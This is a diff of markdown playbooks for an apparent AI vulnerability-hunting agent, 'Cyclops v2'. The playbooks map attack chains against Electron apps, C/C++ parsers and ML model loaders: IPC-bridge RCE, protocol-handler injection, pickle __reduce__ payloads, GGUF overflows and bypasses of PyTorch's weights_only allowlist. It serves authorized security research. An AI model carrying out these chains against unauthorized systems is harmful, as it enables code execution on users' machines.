| + | 2. *Renderer → main* across the `contextBridge`/`ipcRenderer` (the security-critical seam). | |
| + | 3. *External app → app* via the **custom protocol handler** (`obsidian://`, `cursor://`, | |
| + | `discord://`) and deep links / file associations. | |
| + | 4. *Plugin/extension → app core* (third-party JS running in-process). | |
| + | ||
| + | **Boundary map template:** | |
| + | ``` | |
| + | principals: remote-content-author | plugin-author | another-local-app | host-user | |
| + | trust inputs: markdown/HTML note, chat msg, opened repo files, deep link (custom://...), | |
| + | .asar contents, plugin manifest+code, auto-update feed, workspace settings | |
| + | enforcement pts: nodeIntegration:false, contextIsolation:true, sandbox:true, | |
| + | webSecurity, the contextBridge API allowlist, CSP, protocol handler arg parsing, | |
| + | plugin permission model, update signature check | |
| + | cross-boundary | |
| + | sinks: renderer DOM sink reaching a bridged IPC that calls fs/child_process/shell ; | |
| + | ipcMain handler doing shell.openExternal/exec/require on renderer-supplied arg ; | |
| + | protocol handler passing arg into exec/file path ; preload leaking require/process | |
| + | confusion | |
| + | hypotheses: "contextIsolation is on but the bridge exposes a too-powerful method"; | |
| + | "one BrowserWindow/webview still has nodeIntegration:true"; | |
| + | "the custom-protocol arg flows into a shell without sanitization"; | |
| + | "asar integrity is unchecked so a swapped file runs" | |
| + | ``` | |
| + | ||
| + | --- | |
| + | ||
| + | ## Kill chains (each lands on a Gate family) | |
| + | ||
| + | ### KC-1 - Renderer XSS → nodeIntegration / leaked bridge → RCE (Family 1) | |
| + | Find a DOM-injection in rendered content (markdown→HTML, a chat embed, an SVG/iframe, a | |
| + | `dangerouslySetInnerHTML`/`innerHTML` sink). Then find that the renderer can reach Node - either a | |
| + | window with `nodeIntegration:true`, OR a `contextBridge` method that ultimately calls | |
| + | `child_process`, `fs.writeFile`, `require`, or `shell.openExternal` with attacker data. | |
| + | - **Sinks to CPG-trace:** every `ipcMain.handle`/`on` whose handler reaches `exec`/`execFile`/`spawn`/ | |
| + | `fs`/`require`/`vm`/`shell.*`; every `contextBridge.exposeInMainWorld` surface; `webview`/`<iframe>` | |
| + | with elevated perms; `webPreferences` with `nodeIntegration:true` or `sandbox:false`. | |
| + | - **Oracle:** the in-app XSS payload triggers `child_process.exec('id')`/writes our canary file → RCE. | |
| + | ||
| + | ### KC-2 - Custom protocol handler argument injection (Family 1) *(pre-interaction, high value)* | |
| + | `obsidian://`, `cursor://open?file=...`, `discord://`, deep links and file associations let *another | |
| + | local app or a webpage* hand the target a string. If that string flows into a file path, a shell, or | |
| + | a "open this repo/file" routine, a malicious link → code execution with minimal user interaction. | |
| + | - **Sinks:** the `app.setAsDefaultProtocolClient` handler, `open-url`/`second-instance` event | |
| + | handlers, anything parsing `argv` into `exec`/path/`loadURL(...)` (a `file://` or `javascript:` URL | |
| + | into `loadURL` is itself an RCE bridge). | |
| + | - **Oracle:** a crafted `app://...` link from a webpage causes command execution / arbitrary file | |
| + | open that fires our canary → Family 1. | |
| + | ||
| + | ### KC-3 - ASAR / preload tamper & integrity bypass (Family 1) | |
| + | Apps often lack ASAR integrity checks; a local-write primitive (from another bug, or a malicious | |
| + | installer/update) that swaps a file inside `app.asar` or the preload runs as the app. More | |
| + | interesting remotely: a **preload script that leaks `require`/`process`** into the renderer defeats | |
| + | contextIsolation entirely. | |
| + | - **Sinks:** `webPreferences.preload` scripts that assign Node primitives onto `window`; missing | |
| + | `enableEmbeddedAsarIntegrityValidation`; an auto-updater that fetches over HTTP or skips signature | |
| + | verification (→ also [[cicd-supplychain]]). | |
| + | - **Oracle:** a tampered/leaked path yields code execution → Family 1. | |
| + | ||
| + | ### KC-4 - Plugin / extension supply chain (Family 1, bridges [[cicd-supplychain]]) | |
| + | Obsidian community plugins, VS Code/Cursor extensions, Logseq plugins run **in-process with full | |
| + | app/Node powers** and install from registries with weak review. A malicious or compromised plugin is | |
| + | straight RCE; the *novel* angle is a **core flaw that lets a low-trust plugin exceed its declared | |
| + | permissions**, or a plugin-update/registry takeover. | |
| + | - **Sinks:** the plugin loader, the (often nonexistent) permission boundary, the plugin update URL. | |
| + | - **Oracle:** a plugin doing what it shouldn't be able to → callback → Family 1. | |
| + | ||
| + | --- | |
| + | ||
| + | ## The dynamic oracle, concretely | |
| + | ||
| + | 1. Pull the app's source / unpack the `.asar` (`npx asar extract`). Pin version. | |
| + | 2. CPG/grep the **renderer→main seam**: enumerate every `ipcMain` handler and every `contextBridge` | |
| + | export; for each, trace whether renderer-controlled args reach an OS sink. | |
| + | 3. Stand up the app in a disposable VM. Inject the content-level payload (a malicious note / chat / | |
| + | deep link) and watch for the canary (`/tmp/cyclops-$RAND`, a DNS callback). | |
| + | 4. REPLICA_CONFIRMED = the canary fires from the desktop app on our own machine. LIVE_CANARY only if | |
| + | the program/scope permits. | |
| + | ||
| + | Tooling: `analyze_js`/`audit_js_source` for the bundle, `joern_query` for IPC dataflow, | |
| + | `sandbox_create` for the disposable detonation VM, `start_callback_server`. | |
| + | ||
| + | --- | |
| + | ||
| + | ## BORING traps - do NOT spend time here | |
| + | ||
| + | - **Self-XSS / XSS that never reaches Node.** A renderer with `contextIsolation:true`, `sandbox:true`, | |
| + | no powerful bridge, and a strong CSP - an XSS there is a web bug, not Family 1. Prove the Node jump | |
| + | or it's cleared-axes. | |
| + | - **"Missing CSP" / "webSecurity could be off".** A config observation is not a finding; show the | |
| + | exploit it enables. | |
| + | - **DevTools / `--inspect` local access.** Needs local access already; not a remote finding. | |
| + | - **Reporting a known Electron CVE for an outdated bundled Chromium.** Sibling-CVE / version-banner. | |
| + | - **A deep link that only navigates within the app** with no sink. Navigation ≠ execution. |
| @@ -0,0 +1,121 @@ | ||
| + | --- | |
| + | archetype: memory-unsafe-parsers | |
| + | primary_gate_families: [1] | |
| + | --- | |
| + | ||
| + | # Archetype - Memory-Unsafe Parsers (Fuzz + ASan → Corruption → RCE) | |
| + | ||
| + | Targets: image codecs (libwebp, libjpeg-turbo, libpng, libtiff, OpenEXR, libheif, libavif), | |
| + | archive libs (libarchive, zlib/zstd/lz4, minizip, 7-Zip), font shapers (FreeType, HarfBuzz), | |
| + | serialization (protobuf C++, flatbuffers, msgpack-c, CBOR, ASN.1/OpenSSL), media demuxers (FFmpeg), | |
| + | document/XML (libxml2, expat), and any C/C++ library that turns a byte stream into a structure. The | |
| + | thesis: these are **pure functions from attacker bytes to memory operations**, written in C/C++, | |
| + | embedded *everywhere* (a libwebp bug is in every browser and Electron app), and they are the ideal | |
| + | target for the only oracle that never lies - **a sanitizer crash**. This is the purest | |
| + | [[../00-doctrine/SEVERITY-GATE#family-1-remote-code-execution-the-crown|Family 1]] archetype, and it | |
| + | is the engine room behind [[ml-model-loaders]] (model files are just another parser input). | |
| + | ||
| + | See: [[ml-model-loaders]] (GGUF/safetensors/ONNX parsers - same mechanics, ML inputs). Tooling: | |
| + | `compile_harness`, `fuzz_start`/`fuzz_status`/`fuzz_get_crashes`, `boofuzz_session`, `triage_crash`, | |
| + | `angr_analyze`, `ghidra_decompile`, `r2_analyze`, `concolic_trace`, `run_klee`, `z3_solve`. | |
| + | ||
| + | --- | |
| + | ||
| + | ## Principals & trust boundaries | |
| + | ||
| + | - **Principals:** the content author (anyone who can hand the app a file/stream - a webpage serving an | |
| + | image, an email attachment, a document, a network packet), the **parser library**, the host process. | |
| + | - **Core boundary:** *attacker bytes → parse routine → memory operation*. There is no user, no auth, | |
| + | no session - just a format and a function. The "trust input" is the entire file format spec, and | |
| + | every length/count/offset/index field in it is attacker-controlled. | |
| + | ||
| + | **Boundary map template:** | |
| + | ``` | |
| + | principals: content-author(untrusted bytes) → parser library → host process | |
| + | trust inputs: every header field, chunk length, element count, dimension, offset, index, | |
| + | compression ratio, and nested-structure depth in the format | |
| + | enforcement pts: bounds checks before memcpy/index, integer-overflow checks on size math, | |
| + | recursion/iteration limits, allocation-size sanity, the "is this offset inside | |
| + | the buffer" validations | |
| + | cross-boundary | |
| + | sinks: memcpy/memmove/memset with file-derived length ; array index from file field ; | |
| + | malloc(a*b) where a*b can overflow ; alloca/VLA from file size ; pointer arithmetic | |
| + | base+offset ; type/enum field indexing a function/size table ; recursive parse | |
| + | confusion | |
| + | hypotheses: "chunk_length is trusted before checking remaining buffer"; | |
| + | "width*height*bpp overflows size_t before the alloc"; | |
| + | "a negative/huge offset isn't validated against buffer bounds"; | |
| + | "the type byte indexes a handler table without a range check"; | |
| + | "decompressed size is trusted from the header" | |
| + | ``` | |
| + | ||
| + | --- | |
| + | ||
| + | ## Kill chains (all land on Family 1) | |
| + | ||
| + | ### KC-1 - Integer overflow in size math → undersized alloc → heap overflow | |
| + | The single most productive bug class. A `width * height * channels`, `count * elem_size`, or | |
| + | `n0*n1*n2` multiply overflows `size_t`/`int`, the wrapped-small value is passed to `malloc`, then the | |
| + | real (large) data is `memcpy`'d in → heap overflow with attacker bytes. | |
| + | - **CVE class to cite:** the libwebp `BuildHuffmanTable` overflow (CVE-2023-4863, the "everything that | |
| + | embeds Chromium" bug), countless libtiff/OpenEXR/FFmpeg integer-overflow heap overflows. | |
| + | - **Sinks to CPG-trace:** every `malloc`/`calloc`/`realloc`/`alloca` whose size arg is a *product* or | |
| + | *sum* of file-derived values; pair each with the subsequent `memcpy`/write loop. | |
| + | ||
| + | ### KC-2 - Missing bounds check before memcpy / OOB index | |
| + | A chunk-length, offset, or array-count field is *trusted* and used to copy/index before validating it | |
| + | against the remaining buffer. → OOB read (info leak / DoS) or OOB write (corruption). | |
| + | - **Sinks:** `memcpy(dst, src, file_len)`, `buf[file_index]`, `base + file_offset` deref; the classic | |
| + | "read `n`, then loop `n` times reading more without checking we have `n` left". | |
| + | ||
| + | ### KC-3 - Type/enum confusion → wrong-size handler / OOB table index | |
| + | A type/format byte selects a handler or a per-type size from a table; an out-of-range or unexpected | |
| + | value indexes the table OOB or invokes a handler that mis-sizes the data. (ggml `ggml_type` table, | |
| + | image color-type dispatch, ASN.1 tag handling.) | |
| + | ||
| + | ### KC-4 - Decompression / recursion bombs into corruption (not just DoS) | |
| + | A header-declared decompressed size is trusted for an alloc while the actual stream writes more | |
| + | (or a nested-structure depth has no limit and overflows the stack). **Discipline:** a pure | |
| + | zip-bomb/OOM is DoS → cleared-axes, **not** Family 1. Only a *corruption* (controlled OOB write) | |
| + | counts. Don't dress DoS as RCE. | |
| + | ||
| + | --- | |
| + | ||
| + | ## The dynamic oracle - this is the whole archetype | |
| + | ||
| + | The oracle is **non-negotiable and unambiguous**: a sanitizer crash with a *controlled* fault. | |
| + | ||
| + | 1. `clone_repo` the freshest in-scope parser; pin the commit. Prefer a library that just merged a new | |
| + | format/feature (unfuzzed code - see [[../06-methods/NOVELTY-DOCTRINE]]). | |
| + | 2. `compile_harness` with `-fsanitize=address,undefined` (add MSan for uninit-read hunts). If the | |
| + | project has an OSS-Fuzz harness, **re-run it on the new commit** - OSS-Fuzz fuzzed yesterday's code, | |
| + | not today's PR. | |
| + | 3. `fuzz_start` (libFuzzer/AFL++) with the parse entry point as the target and **valid sample files as | |
| + | the seed corpus** (coverage-guided needs good seeds). For structured formats, a `boofuzz_session` | |
| + | or a format-aware mutator beats dumb flips. | |
| + | 4. `fuzz_get_crashes` → `triage_crash`. **Classify the fault:** | |
| + | - heap/stack **write** to attacker data, or **PC control** → strong Family 1 candidate. | |
| + | - OOB **read** of secrets → Family 7 (info leak) candidate. | |
| + | - null-deref / divide-by-zero / assertion / OOM → **DoS → DISPROVEN for RCE**, cleared-axes. | |
| + | 5. For a write/PC-control crash, escalate exploitability: `angr_analyze` / `concolic_trace` / | |
| + | `z3_solve` to show attacker control of the corrupted pointer/size; `ghidra_decompile`/`r2_analyze` | |
| + | to confirm the primitive. The minimized crashing file is the REPLICA_CONFIRMED artifact. | |
| + | 6. The *finding* claim scales with what you proved: "controlled heap overflow, PC control demonstrated" | |
| + | is Family 1; "OOB read crash, exploitability unproven" stays SOURCE_CONFIRMED until you show the | |
| + | write/control. Do not over-claim a read-crash as RCE. | |
| + | ||
| + | --- | |
| + | ||
| + | ## BORING traps - do NOT spend time here | |
| + | ||
| + | - **Calling every crash "RCE".** A null-deref or an `abort()` is a **DoS**, not RCE, and DoS is not a | |
| + | [[../00-doctrine/SEVERITY-GATE|gate]] family. Triage honestly; most fuzz crashes are DoS. | |
| + | - **OOM / zip-bomb / "huge allocation".** Resource exhaustion ≠ memory corruption. Cleared-axes. | |
| + | - **Re-finding a known CVE in an old library version.** Sibling-CVE / patch-status observation. Fuzz | |
| + | **fresh** code, new formats, new ports. | |
| + | - **Unreachable code paths.** A crash in a parse path the real application never invokes (a disabled | |
| + | feature, a non-default codec) is low-value until you show a real consumer reaches it. | |
| + | - **A crash you can't reproduce on a clean rebuild.** Flaky ≠ confirmed; downgrade per | |
| + | [[../00-doctrine/OPERATING-CORE#3-proof-labels-the-four-states-a-candidate-can-be-in|proof labels]]. | |
| + | - **Stopping at "it crashes".** A crash is the *start* of exploitability analysis, not the end. For | |
| + | the RCE claim, show attacker control of the corruption. |
| @@ -0,0 +1,201 @@ | ||
| + | --- | |
| + | archetype: ml-model-loaders | |
| + | headline: true | |
| + | primary_gate_families: [1, 7] | |
| + | --- | |
| + | ||
| + | # Archetype - ML Model Loaders & Inference Runtimes (HEADLINE) | |
| + | ||
| + | **This is the highest-yield archetype for Cyclops v2.** The thesis: model files are *executable | |
| + | attack surface masquerading as data*. The entire ML ecosystem ships parsers and deserializers that | |
| + | run at **load time**, before any inference, often in C/C++ with weak bounds checking, written fast, | |
| + | shipped weekly, and consumed by millions who treat a downloaded `.gguf` / `.safetensors` / `.pt` / | |
| + | `.onnx` as inert. It is not inert. A model is a program. | |
| + | ||
| + | Two distinct kill-chain classes live here and you must hunt both: | |
| + | - **(A) Deserialization-as-design** - formats that *intentionally* execute code (pickle, joblib, | |
| + | arbitrary Python in custom nodes). The bug is the trust, not a memory error. | |
| + | - **(B) Parser memory-corruption** - formats that *claim* to be safe data (GGUF, safetensors, ONNX | |
| + | protobuf, NPY) but whose C/C++ parsers have OOB read/write, integer overflow, type confusion. The | |
| + | bug is in the loader, and the oracle is ASan. | |
| + | ||
| + | See: [[../00-doctrine/SEVERITY-GATE#family-1-remote-code-execution-the-crown|Gate Family 1]] · | |
| + | [[memory-unsafe-parsers]] (sister archetype for the pure-parser fuzzing mechanics) · | |
| + | [[ai-agent-mcp]] (model loaders reached *over the network* via inference servers). | |
| + | ||
| + | --- | |
| + | ||
| + | ## Principals & trust boundaries | |
| + | ||
| + | - **Principals:** the model *author/publisher* (untrusted - anyone on HuggingFace Hub, Civitai, an | |
| + | npm/PyPI package, a torrent), the *runtime/library* (the thing parsing the file), the *host user* | |
| + | (whose process and credentials the load runs as). | |
| + | - **The core trust boundary:** *"downloaded model file → load function"*. Every user who does | |
| + | `from_pretrained(...)`, `llama_load_model_from_file(...)`, `onnxruntime.InferenceSession(...)`, | |
| + | `torch.load(...)`, `joblib.load(...)`, `comfyui` "drag this workflow in" - crosses it. | |
| + | - **Why it's so wide:** model sharing is the *entire culture* of the field. The file is meant to be | |
| + | passed around. The trust boundary is crossed billions of times a day and almost no consumer thinks | |
| + | of the file as code. | |
| + | ||
| + | **Boundary map (fill this per target):** | |
| + | ``` | |
| + | principals: [model publisher (untrusted)] → [loader lib] → [host process / user creds] | |
| + | trust inputs: .gguf | .safetensors | .pt/.pth | .onnx | .npy/.npz | .pkl | .joblib | | |
| + | .bin (HF) | workflow.json (ComfyUI) | model_index.json | tokenizer.json | | |
| + | config.json | *.gradio cache | adapter_config.json (PEFT/LoRA) | |
| + | enforcement pts: header magic check, version gate, "weights_only" flag, allowlist of globals, | |
| + | tensor-count/dim sanity checks, mmap bounds, protobuf size limits | |
| + | cross-boundary | |
| + | sinks: pickle.Unpickler.find_class / __reduce__ ; numpy buffer parse ; | |
| + | memcpy/alloca from file-controlled length ; ggml tensor dim multiply ; | |
| + | protobuf arena alloc ; eval/exec in custom node ; os.system in workflow | |
| + | confusion | |
| + | hypotheses: "weights_only=True is actually bypassable here"; "the header length field is | |
| + | trusted before the file size is checked"; "n_dims * n_elements overflows size_t"; | |
| + | "the allowlist misses one __reduce__-able global"; "the safe format has an | |
| + | unsafe metadata side-channel" | |
| + | ``` | |
| + | ||
| + | --- | |
| + | ||
| + | ## Kill chains (each lands on a Gate family) | |
| + | ||
| + | ### KC-1 - Pickle / `__reduce__` deserialization → RCE (Class A) | |
| + | The classic and *still* live. `pickle` calls `__reduce__` on unpickling, which can return | |
| + | `(os.system, ('id',))`. PyTorch `.pt`/`.pth` are zip files containing a pickle. `joblib`/sklearn | |
| + | `.pkl`, many HF `.bin` legacy weights, are pickles. | |
| + | - **Sinks:** `pickle.load`, `pickle.Unpickler.find_class`, `torch.load(..., weights_only=False)`, | |
| + | `joblib.load`, `numpy.load(..., allow_pickle=True)`, `dill.load`, `cloudpickle.load`. | |
| + | - **The fresh angle (novelty, not sibling-CVE):** everyone knows raw pickle is dangerous. The novel | |
| + | bugs are in the **allowlist bypasses** of the "safe" loaders: `weights_only=True` (PyTorch's | |
| + | defense) has had repeated bypasses (e.g. via allowed globals that themselves reach dangerous | |
| + | reductions; via `torch.storage` / rebuild functions; via nested types the allowlist forgot). Hunt | |
| + | the *allowlist*, the `_get_allowed_globals` table, the `GLOBAL`/`REDUCE` opcode handling - find one | |
| + | reachable dangerous global the allowlist trusts. | |
| + | - **Oracle:** loading the crafted model fires a callback / writes `/tmp/cyclops-$RAND` → Family 1. | |
| + | - **CVE class to cite & avoid duplicating:** CVE-2025-class PyTorch `weights_only` bypasses, | |
| + | `numpy.load` allow_pickle RCE, the perennial sklearn/joblib pickle RCE. Check the feed first. | |
| + | ||
| + | ### KC-2 - GGUF / GGML parser memory-corruption → RCE (Class B) *(prime hunting ground)* | |
| + | `llama.cpp` and everything built on it (Ollama, LM Studio, text-generation-webui, countless wrappers) | |
| + | parse GGUF with hand-written C. The format has a header → metadata KV array → tensor-info array → | |
| + | tensor data, all with **file-controlled length and count fields**. | |
| + | - **Sinks to CPG-trace:** `gguf_init_from_file`, `gguf_read_emplace`, the KV-pair reader | |
| + | (`gguf_kv` / `gguf_get_arr_*`), `ggml_new_tensor`, `ggml_nbytes`, `ggml_row_size`, and every | |
| + | `malloc`/`GGML_MALLOC`/`memcpy` whose size derives from a file field. | |
| + | - **Bug shapes:** integer overflow in `n_dims * ne[i] * type_size` → undersized alloc → heap | |
| + | overflow on tensor copy; an array `n` count read before validating it against remaining file size → | |
| + | OOB read; a metadata string length field trusted into a `memcpy`/`malloc`; type/enum confusion in | |
| + | `ggml_type` indexing a per-type size table OOB. | |
| + | - **Oracle:** build `llama.cpp` (or the wrapper) with `-fsanitize=address`, feed the crafted `.gguf`, | |
| + | get the ASan report with a controlled fault → Family 1 (SOURCE/REPLICA). Escalate to control of | |
| + | RIP/allocations for the full RCE claim. | |
| + | - **CVE class:** the GGUF heap-overflow / OOB family (multiple 2024 llama.cpp advisories). Novelty = | |
| + | a *different* field or a wrapper that re-implemented the parse and reintroduced the class. | |
| + | ||
| + | ### KC-3 - safetensors metadata / header parse (Class B, the "safe format" trap) | |
| + | `safetensors` was designed to *be the safe alternative* to pickle - no code execution by design. That | |
| + | makes it the perfect place for a novel bug, because everyone assumes it can't have one. | |
| + | - **Surface:** the 8-byte little-endian header length, then a JSON header describing each tensor's | |
| + | `dtype`, `shape`, and **byte offsets** `[begin, end]` into the buffer. The Rust core is memory-safe, | |
| + | but: (a) the **offset/shape arithmetic** - does `begin..end` get validated against the buffer and | |
| + | against `shape × dtype_size`? An offset overflow or a mismatch can yield OOB; (b) **language ports** - | |
| + | C++/Zig/Go re-implementations and the C ABI consumers don't get Rust's guarantees; (c) the JSON | |
| + | metadata fed to a *downstream* consumer that does something unsafe with it. | |
| + | - **Sinks:** `SafeTensors::deserialize`, the offset-validation routine, and any C/C++ reimpl's | |
| + | `memcpy(dst, base+begin, end-begin)`. | |
| + | - **Oracle:** ASan crash on a port, or a proven OOB read returning out-of-tensor bytes. | |
| + | ||
| + | ### KC-4 - ONNX / protobuf model graph → parse corruption or operator abuse (Class B) | |
| + | ONNX Runtime parses a protobuf graph then *builds and runs operators*. Two sub-surfaces: | |
| + | - **Protobuf/loader corruption:** `onnx::ModelProto` parse, external-data references (an ONNX model | |
| + | can point at an *external* data file path - path traversal / arbitrary file read sink), and the | |
| + | shape-inference pass (`onnxruntime::...ShapeInference`) doing arithmetic on attacker dims. | |
| + | - **Operator-level:** custom ops, the `Scan`/`If`/`Loop` control-flow ops, and ops that allocate from | |
| + | attacker-controlled dims. ORT has a real history of heap overflows in op kernels. | |
| + | - **External-data trap (Family 7):** the `external_data` location field can be a path → arbitrary | |
| + | file read at load. Cite the ONNX external-tensor path-traversal class. | |
| + | - **Sinks:** `onnxruntime::Model::Load`, `LoadExternalTensor`, op `Compute()` kernels with dim-derived | |
| + | allocs. **Oracle:** ASan crash, or the external-data path reading our canary file → Family 7. | |
| + | ||
| + | ### KC-5 - ComfyUI custom nodes / workflow.json → RCE (Class A, social) | |
| + | ComfyUI workflows are shared as JSON/PNG-embedded graphs that reference **custom nodes** (arbitrary | |
| + | Python packages auto-installed from a registry). "Load this cool workflow" → pulls a custom node → | |
| + | runs its `__init__` / node code. | |
| + | - **Sinks:** the custom-node loader (`nodes.py` import path), any node calling `eval`/`exec`/ | |
| + | `subprocess`/`os.system` on workflow-supplied strings, the model-manager auto-download. | |
| + | - **This is also a [[cicd-supplychain|supply-chain]] / [[ai-agent-mcp|agent]] surface** - rotate the lens. | |
| + | - **Oracle:** importing/running the malicious workflow fires a callback → Family 1. | |
| + | ||
| + | ### KC-6 - Gradio / model-server file & SSRF surface (Family 7, bridges to [[ai-agent-mcp]]) | |
| + | Gradio (the demo UI under most HF Spaces and local model demos) has a history of path traversal | |
| + | (`/file=` arbitrary file read) and SSRF in the proxy/`/queue` paths. | |
| + | - **Sinks:** the `/file=` route's path resolution, the URL-fetch in upload/proxy handlers. | |
| + | - **Oracle:** read our canary secret via `/file=` (Family 7) or land SSRF→metadata. | |
| + | - **CVE class:** Gradio `/file=` traversal (CVE-2023/2024 class), Gradio SSRF. Find the *new* route. | |
| + | ||
| + | ### KC-7 - Tokenizer / config side-channels (Class A/B, the overlooked input) | |
| + | Even with "safe" weights, the *accompanying* files load too: `tokenizer.json`, | |
| + | `tokenizer_config.json`, `config.json`, `generation_config.json`, `chat_template` (a **Jinja2 | |
| + | template** → SSTI sink!), `adapter_config.json` for PEFT/LoRA. The `chat_template` Jinja2 is a real | |
| + | [[../00-doctrine/SEVERITY-GATE#family-1-remote-code-execution-the-crown|SSTI→RCE]] surface - HF added | |
| + | a sandbox; hunt the sandbox bypass. | |
| + | - **Sinks:** `jinja2.Environment` rendering the chat template, any `eval`-ish config parse, the | |
| + | `trust_remote_code=True` path (which literally imports model-repo Python - a known but still-fertile | |
| + | RCE: hunt where `trust_remote_code` defaults true or is reachable without the flag). | |
| + | - **Oracle:** template/remote-code executes → Family 1. | |
| + | ||
| + | --- | |
| + | ||
| + | ## The dynamic oracle, concretely (this archetype's whole point) | |
| + | ||
| + | For **Class B (parser memory-corruption)** the pipeline is: | |
| + | 1. `git clone` the freshest in-scope loader. Pin the commit. | |
| + | 2. Build with `-fsanitize=address,undefined` (or use the project's fuzz harness if present - | |
| + | `llama.cpp` ships `tests/`, ORT has fuzzers, many have OSS-Fuzz targets you can *re-run on new code*). | |
| + | 3. Write a libFuzzer/AFL++ harness whose entry is the **load function** (`gguf_init_from_file`, | |
| + | `safetensors deserialize`, `Model::Load`). Seed with a real valid model, mutate. | |
| + | 4. Run; collect crashes; **`triage_crash`** to confirm a *controlled* fault (write to attacker data, | |
| + | PC control, OOB on heap with our pattern). A null-deref / pure read-DoS is **DISPROVEN for RCE** | |
| + | per [[../00-doctrine/SEVERITY-GATE#family-6-mass-data-exfil-financial-impact|the gate]] - log it, | |
| + | do not dress a DoS as critical. | |
| + | 5. Minimize the crashing model file; that file *is* the REPLICA_CONFIRMED artifact. | |
| + | ||
| + | For **Class A (deserialization)** the oracle is direct: craft the malicious model, load it in a | |
| + | disposable container, observe the callback/file-write. No fuzzing needed - the proof is the popped | |
| + | shell. | |
| + | ||
| + | Relevant tooling in the kit: ASan/UBSan builds, libFuzzer/AFL++/`boofuzz`, `joern_query` & | |
| + | `codeql_query` for the source→sink path, `triage_crash`, a disposable `sandbox_create` to detonate | |
| + | Class-A models, `start_callback_server` for the RCE callback. | |
| + | ||
| + | --- | |
| + | ||
| + | ## BORING traps - do NOT spend time here | |
| + | ||
| + | - **"`torch.load` runs arbitrary pickle."** Known since forever. Reporting raw-pickle RCE against a | |
| + | tool that *documents* "only load models you trust" is a non-finding. The finding is the | |
| + | **safe-path bypass** (`weights_only=True` defeated, allowlist escaped, a "safe" format corrupted). | |
| + | - **Null-deref / assertion-abort / pure read-DoS in a parser.** Not RCE. Cleared-axes hardening note. | |
| + | - **"This model could be malicious."** Of course it could. That is the threat model, not a bug. The | |
| + | bug is a *specific* loader flaw with an *artifact*. | |
| + | - **Re-finding a public llama.cpp/ORT CVE in an old checkout.** Sibling-CVE. Hunt code days old. | |
| + | - **Out-of-memory from a huge dim field.** Resource exhaustion ≠ corruption. Verify it's actually an | |
| + | OOB write before getting excited. | |
| + | - **Gradio version banner / "old Gradio".** Version-based "findings" are not findings; prove the route. | |
| + | ||
| + | --- | |
| + | ||
| + | ## Where the novel bugs actually are (steer here) | |
| + | ||
| + | 1. **Allowlist / safe-mode bypasses** in the *defenses* (`weights_only`, find_class allowlists, the | |
| + | chat-template sandbox, safetensors offset validation). The defense is newer code than the format. | |
| + | 2. **Re-implementations** - a Go/C++/Zig/Rust-C-ABI port of a "safe" format that dropped a check. | |
| + | 3. **Integer arithmetic on attacker dims** - `n0*n1*n2*type_size` overflow before alloc. Grep/CPG for | |
| + | every multiply feeding a `malloc`/`memcpy` in `ggml`, ORT kernels, NPY/`safetensors` consumers. | |
| + | 4. **External-reference fields** - ONNX `external_data` path, GGUF embedded paths, anything where the | |
| + | model file names *another* file/URL → traversal / SSRF (Family 7). | |
| + | 5. **The accompanying files** - tokenizer/chat-template/config that load alongside "safe" weights and | |
| + | reach Jinja2/`trust_remote_code`/eval. | |
| + | 6. **Freshly-merged format extensions** - a new GGUF KV type, a new ONNX opset, a new quant format | |
| + | landed last week. New parse code = unfuzzed code. See [[../06-methods/NOVELTY-DOCTRINE]]. |
| @@ -0,0 +1,72 @@ | ||
| + | # 04-cleared-axes - The Anti-Tunnel-Vision Memory | |
| + | ||
| + | This is Cyclops v2's **breadth memory**. Every time an axis is screened and does not yield a | |
| + | [[../00-doctrine/SEVERITY-GATE|gate-family]] finding, it is logged here - *before* moving on (the | |
| + | [[../00-doctrine/OPERATING-CORE#4-the-anti-drift-rule-log-cleared-axes-rotate-archetypes|anti-drift rule]]). | |
| + | The log exists so the agent: | |
| + | ||
| + | 1. **Never re-screens the same (target, archetype, axis)** - no re-walking cleared ground. | |
| + | 2. **Can prove it covered breadth**, not just depth on one tunnel - the v1 failure. | |
| + | 3. **Has somewhere to put low/medium hardening notes** so they never leak into a finding report (the | |
| + | [[../00-doctrine/SEVERITY-GATE|gate]] forbids off-path reports; this is where those observations go). | |
| + | ||
| + | An entry here is **not** a failure. A clean **DISPROVEN** is a completed unit of work | |
| + | ([[../00-doctrine/OPERATING-CORE#5-disproven-is-a-success|DISPROVEN is a success]]). | |
| + | ||
| + | --- | |
| + | ||
| + | ## Entry format | |
| + | ||
| + | One row per cleared axis. Append-only. Use this exact schema (markdown table or one file per target - | |
| + | table is fine to start). | |
| + | ||
| + | | Field | Meaning | | |
| + | |---|---| | |
| + | | `date` | ISO date the axis was cleared (YYYY-MM-DD). | | |
| + | | `target` | The software + **pinned version/commit** (novelty depends on the exact tree). | | |
| + | | `archetype` | Which [[../01-archetypes/electron-desktop|archetype lens]] was applied. | | |
| + | | `axis` | The specific kill-chain / sink / hypothesis screened (be precise - name the sink/route). | | |
| + | | `result` | `DISPROVEN` \| `SOURCE_CONFIRMED-stalled` \| `SIBLING-CVE` \| `HARDENING-NOTE` \| `OUT-OF-SCOPE`. | | |
| + | | `oracle` | What was driven and what it returned (e.g. "ASan fuzz 6h, only null-deref DoS"; "no artifact"). | | |
| + | | `reason` | *Why* it cleared - the guard found, the missing control, why no gate-family path. | | |
| + | | `revisit` | A condition that would reopen it (e.g. "if new GGUF KV type lands", "if auth is disabled"), or `none`. | | |
| + | ||
| + | ### Result-code meanings | |
| + | ||
| + | - **DISPROVEN** - drove the oracle, the impact did not materialize. The strongest clear. Permanently | |
| + | retired unless `revisit` fires. | |
| + | - **SOURCE_CONFIRMED-stalled** - a real source→sink path exists but the oracle couldn't be driven yet | |
| + | (couldn't build a replica, needs a primitive we don't have). Parked, not dead. | |
| + | - **SIBLING-CVE** - the candidate matched an existing public CVE/advisory (per | |
| + | [[../06-methods/NOVELTY-DOCTRINE#the-sibling-cve-gate-novel-vs-variant-run-before-deep-work|the sibling gate]]). | |
| + | Record the CVE id so we never re-investigate it. | |
| + | - **HARDENING-NOTE** - a real low/medium issue (IDOR, missing header, verbose error, exposed-but-empty | |
| + | service) that is **below the gate** and therefore **not a finding**. Lives here, never in a report. | |
| + | - **OUT-OF-SCOPE** - authorization/scope ruled it out per | |
| + | [[../00-doctrine/OPERATING-CORE#1-authorization-the-only-place-cyclops-is-allowed-to-point|the charter]]. | |
| + | ||
| + | --- | |
| + | ||
| + | ## Example entries | |
| + | ||
| + | ``` | |
| + | | date | target | archetype | axis | result | oracle | reason | revisit | | |
| + | |------------|--------------------------------|--------------------|-------------------------------------------------------------|-------------------------|-----------------------------------------------------|------------------------------------------------------------------------|--------------------------------------| | |
